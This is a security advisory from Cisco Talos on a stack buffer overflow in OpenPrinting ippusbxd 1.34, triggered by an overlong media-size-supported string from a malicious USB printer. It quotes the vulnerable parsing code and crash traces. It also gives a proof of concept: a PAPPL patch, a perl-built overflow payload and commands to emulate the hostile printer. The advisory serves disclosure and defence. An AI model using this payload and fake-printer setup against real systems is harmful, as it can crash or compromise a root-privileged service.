Talos Vulnerability Report

TALOS-2024-2071

OpenPrinting ippusbxd media-size-supported stack based buffer overflow vulnerability

August 19, 2025
CVE Number

CVE-2024-45062

SUMMARY

A stack based buffer overflow vulnerability is present in OpenPrinting ippusbxd 1.34. A specially configured printer that supports IPP-over-USB can cause a buffer overflow which can lead to a arbitrary code execution in a privileged service. To trigger the vulnerability, a malicious device would need to be connected to the vulnerable system over USB.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

OpenPrinting ippusbxd 1.34

PRODUCT URLS

ippusbxd - https://openprinting.github.io/projects/03-ippusbxd/

CVSSv3 SCORE

6.4 - CVSS:3.1/AV:P/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-121 - Stack-based Buffer Overflow

DETAILS

IPPUSBXD is a service that implements IPP over USB support for Linux systems. It proxies regular IPP/HTTP traffic to USB to enable support for printers that implement IPP-over-USB standard.

When an printer that supports IPP-over-USB is connected to a Linux system that uses ippusbxd (we’ve performed our testing on Ubuntu 22.04) udev spawns a couple of pocesses to enable printing functionality. Service ippusbxd is run and connected to the printer. To properly set up printer functionality, ippusbxd interrogates the printer for metadata, settings and options. When parsing the data returned by the printer, an erroneous string parsing code can result in a stack based buffer overflow.

Specifically, while setting up a DNS-SD announcement the connected printer is queried via function ipp_request:

int
ipp_request(ippPrinter *printer, int port)
{
  http_t	*http = NULL; 
  ipp_t *request, *response = NULL;
  ipp_attribute_t *attr;
  char uri[1024];
  char buffer[1024];

  /* Try to connect to IPP server */
  if ((http = httpConnect2("127.0.0.1", port, NULL, AF_UNSPEC,
               HTTP_ENCRYPTION_IF_REQUESTED, 1, 30000, NULL)) == NULL) {
    printf("Unable to connect to 127.0.0.1 on port %d.\n", port);
    return 1;
  }

  snprintf(uri, sizeof(uri), "http://127.0.0.1:%d/ipp/print", port);

  /* Fire a Get-Printer-Attributes request */
  request = ippNewRequest(IPP_OP_GET_PRINTER_ATTRIBUTES);
  ippAddString(request, IPP_TAG_OPERATION, IPP_TAG_URI, "printer-uri",
                 NULL, uri);
  response = cupsDoRequest(http, request, "/ipp/print");

Response from the printer is parsed attribute by attribute. The following code is used to parse the media-size-supported attribute which specifies page dimensions:

  else if(!strcasecmp(attr_name, "media-size-supported"))
   printer->papermax = get_format_paper(buffer);

When this tag in encountered, function get_format_paper is invoked in which two possibilities for a buffer overflow exist:

char test1[255] = { 0 };
       char test2[255] = { 0 };
	   
       char *tmp = strchr(val, '=');
       if (!tmp) continue;
       a = strlen(val) - strlen(tmp);           
       val+=(a + 1);
       
       tmp = strchr(val, ' ');
       if (!tmp) continue;
       a = strlen(val) - strlen(tmp);                                    [1]
       strncpy(test2, val, a);                                           [2]

Above code sets up two local string buffers and proceeds to parse the media size string. The expected string is of the following form:

   { x-dimension=1234 y-dimension=1234 }

At [1], strlen calls are used to calculate the length of the integer value specifying the dimension. This length value is then direcrly used as a length argument in a strncpy call on line [2]. Since this length value can be directly controlled by the untrusted data, this constitutes a string based buffer overflow vulnerability. Same issue is repeated few lines later , when parsing the second dimension:

tmp = strchr(val, ‘}’);
       if (!tmp) continue;
       a = strlen(val) - strlen(tmp);
       strncpy(test2, val, a);                    [3]

Same as before, an overly long integer value can result in a buffer overflow via strncpy call at [3].

Service ippusbxd is spawned with root user privileges by default and successful exploitation could result in arbitrary code execution with high privileges.

Crash Information

Note that in this case the stack overflow was detected by a stack overflow mitigation which could easily not be the case, with diffrent build flags.

<-195299776>Note: TCP: sent 1833 bytes
<-228919744>Note: Thread #2: No read in flight, starting a new one
*** buffer overflow detected ***: terminated

Thread 4 "ippusbxd" received signal SIGABRT, Aborted.
[Switching to Thread 0x7ffff3dbe640 (LWP 649455)]
__pthread_kill_implementation (no_tid=0, signo=6, threadid=140737284662848) at ./nptl/pthread_kill.c:44
44      ./nptl/pthread_kill.c: No such file or directory.
(gdb) bt
#0  __pthread_kill_implementation (no_tid=0, signo=6, threadid=140737284662848) at ./nptl/pthread_kill.c:44
#1  __pthread_kill_internal (signo=6, threadid=140737284662848) at ./nptl/pthread_kill.c:78
#2  __GI___pthread_kill (threadid=140737284662848, signo=signo@entry=6) at ./nptl/pthread_kill.c:89
#3  0x00007ffff7aea476 in __GI_raise (sig=sig@entry=6) at ../sysdeps/posix/raise.c:26
#4  0x00007ffff7ad07f3 in __GI_abort () at ./stdlib/abort.c:79
#5  0x00007ffff7b31676 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7ffff7c8392e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:155
#6  0x00007ffff7bde3aa in __GI___fortify_fail (msg=msg@entry=0x7ffff7c838d4 "buffer overflow detected") at ./debug/fortify_fail.c:26
#7  0x00007ffff7bdcd26 in __GI___chk_fail () at ./debug/chk_fail.c:28
#8  0x00007ffff7bdc769 in __strncpy_chk (s1=s1@entry=0x7ffff3dbd090 "", s2=s2@entry=0x7ffff3dbd5f7 'A' <repeats 200 times>..., n=n@entry=601, s1len=s1len@entry=255) at ./debug/strncpy_chk.c:26
#9  0x000055555555f502 in strncpy (__len=601, __src=0x7ffff3dbd5f7 'A' <repeats 200 times>..., __dest=0x7ffff3dbd090 "") at /usr/include/x86_64-linux-gnu/bits/string_fortified.h:95
#10 get_format_paper (val=0x7ffff3dbd5f7 'A' <repeats 200 times>..., val@entry=0x7ffff3dbd5f0 "{x=a y=", 'A' <repeats 193 times>...) at ./ippusbxd_testing/ippusbxd-1.34/src/capabilities.c:220
#11 0x000055555555fa62 in ipp_request (printer=printer@entry=0x7fffec000b70, port=<optimized out>) at ./ippusbxd_testing/ippusbxd-1.34/src/capabilities.c:297
#12 0x000055555555d07c in dnssd_escl_register (data=0x5555555a77e0) at ./ippusbxd_testing/ippusbxd-1.34/src/dnssd.c:226
#13 0x00007ffff7b3cac3 in start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:442
#14 0x00007ffff7bce660 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81

Outside a debugger, the process running as root can be observed as crashing after a malicious device is connected:

[520463.829183] usb 3-1: new high-speed USB device number 85 using xhci_hcd
[520463.977791] usb 3-1: New USB device found, idVendor=eaea, idProduct=eaea, bcdDevice= 4.19
[520463.977800] usb 3-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[520463.977804] usb 3-1: Product: Office Printer
[520463.977807] usb 3-1: Manufacturer: PWG
[520463.977809] usb 3-1: SerialNumber: 0
[520463.979354] usblp 3-1:1.0: usblp0: USB Bidirectional printer dev 85 if 0 alt 0 proto 2 vid 0xEAEA pid 0xEAEA
[520464.014666] usblp0: removed
[520464.020827] ippusbxd[647107]: segfault at 0 ip 00007f9886cd791d sp 00007ffe5965e558 error 4 in libc.so.6[7f9886b55000+195000]
[520464.020839] Code: 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 f3 0f 1e fa 89 f8 48 89 fa c5 f9 ef c0 25 ff 0f 00 00 3d e0 0f 00 00 0f 87 23 01 00 00 <c5> fd 74 0f c5 fd d7 c1 85 c0 74 57 f3 0f bc c0 e9 2c 01 00 00 66

Exploit Proof of Concept

In order to develop a proof of concept, we needed to construct a fake, malicious printer. Linux Kernel’s USB Gadget interface is immensly helpful for these sort tests. In fact, for the purposes of our proof of concept, we could rely on another printing application suite, PAPPL - Printer Application Framework (https://github.com/michaelrsweet/pappl). PAPPL generously already implements a IPP-USB emulation via a USB gadget interface and we were able to use it via Raspberry Pi Zero to emulate a malicious printer.

Simple patch to the code enables the exploit:

diff --git a/pappl/printer-driver.c b/pappl/printer-driver.c
index 10b7fda..b872865 100644
--- a/pappl/printer-driver.c
+++ b/pappl/printer-driver.c
@@ -747,6 +747,7 @@ make_attrs(
       ippDelete(cvalues[i]);
   }

+  ippAddString(attrs, IPP_TAG_PRINTER, IPP_CONST_TAG(IPP_TAG_KEYWORD), "media-size-supported",  NULL, getenv("EXPLOIT_STRING"));                      [5]

   // media-col-supported
   memcpy((void *)svalues, media_col, sizeof(media_col));
diff --git a/testsuite/testpappl.c b/testsuite/testpappl.c
index 460058d..7972cb6 100644
--- a/testsuite/testpappl.c
+++ b/testsuite/testpappl.c
@@ -812,7 +812,7 @@ main(int  argc,                             // I - Number of command-line arguments
     }
     else
     {
-      printer = papplPrinterCreate(system, /* printer_id */0, "Office Printer", "pwg_common-300dpi-600dpi-srgb_8", "MFG:PWG;MDL:Office Printer;", device_uri);
+      printer = papplPrinterCreate(system, /* printer_id */0, "Office Printer", "pwg_common-300dpi-600dpi-srgb_8", "MFG:PWG;MDL:Office Printer;CMD:pwg;", device_uri);         [4]
       papplPrinterSetContact(printer, &contact);
       papplPrinterSetDNSSDName(printer, "Office Printer");
       papplPrinterSetGeoLocation(printer, "geo:46.4707,-80.9961");

Above patch contains two simple changes. First , at [4], adds a “CMD” tag to the printer descriptor. This is required to ippusbxd parser to properly recognize the pritner and proceed to set up a DNS-SD announcement. Second change, at [5], simply adds a media-size-supported tag with an arbitrary string supplied via EXPLOIT_STRING environment variable. To execute an exploit, we first set the environment variable to our exploit string:

export EXPLOIT_STRING=`perl -e 'print "{x=a y=" . "A"x600 . " }"'`  

The above creates a dimension string in expected format, but a one that has an overly long y dimension. The PAPPL test application is then used to emulate a printer on the Pi Zero:

testsuite/testpappl -U -c -1 -L debug -l - --usb-vendor-id 0xeaea --usb-product-id 0xeaea

Next, Pi Zero is connected to the target system via an USB port and the exploit is triggered resulting in a crash quoted above.

Mitigation

While a patch for this vulnerability would be straightforward, as pointed out by the project maintainers themselves in the README file , development of ippusbxd is currently suspended in favor of other solutions. Quoting:

Due to this there is no known operating system using ippusbxd any more. Therefore development of this project is currently suspended. Nevertheless, anyone coming up with a solution of ippusbxd's problems, making it working as well as ipp-usb is highly welcome and we are open for appropriate Pull Requests.

Generally, I highly recommend to use ipp-usb instead of ippusbxd. It works absolutely reliably, wheras ippusbxd often has problems, especially with the web admin interfaces of the devices.

Our proposed mitigation is for the affected Linux systems to stop using uppusbxd and follow the developer recomendations.

TIMELINE

2024-09-12 - Initial Vendor Contact
2024-09-12 - Vendor Disclosure
2025-08-19 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.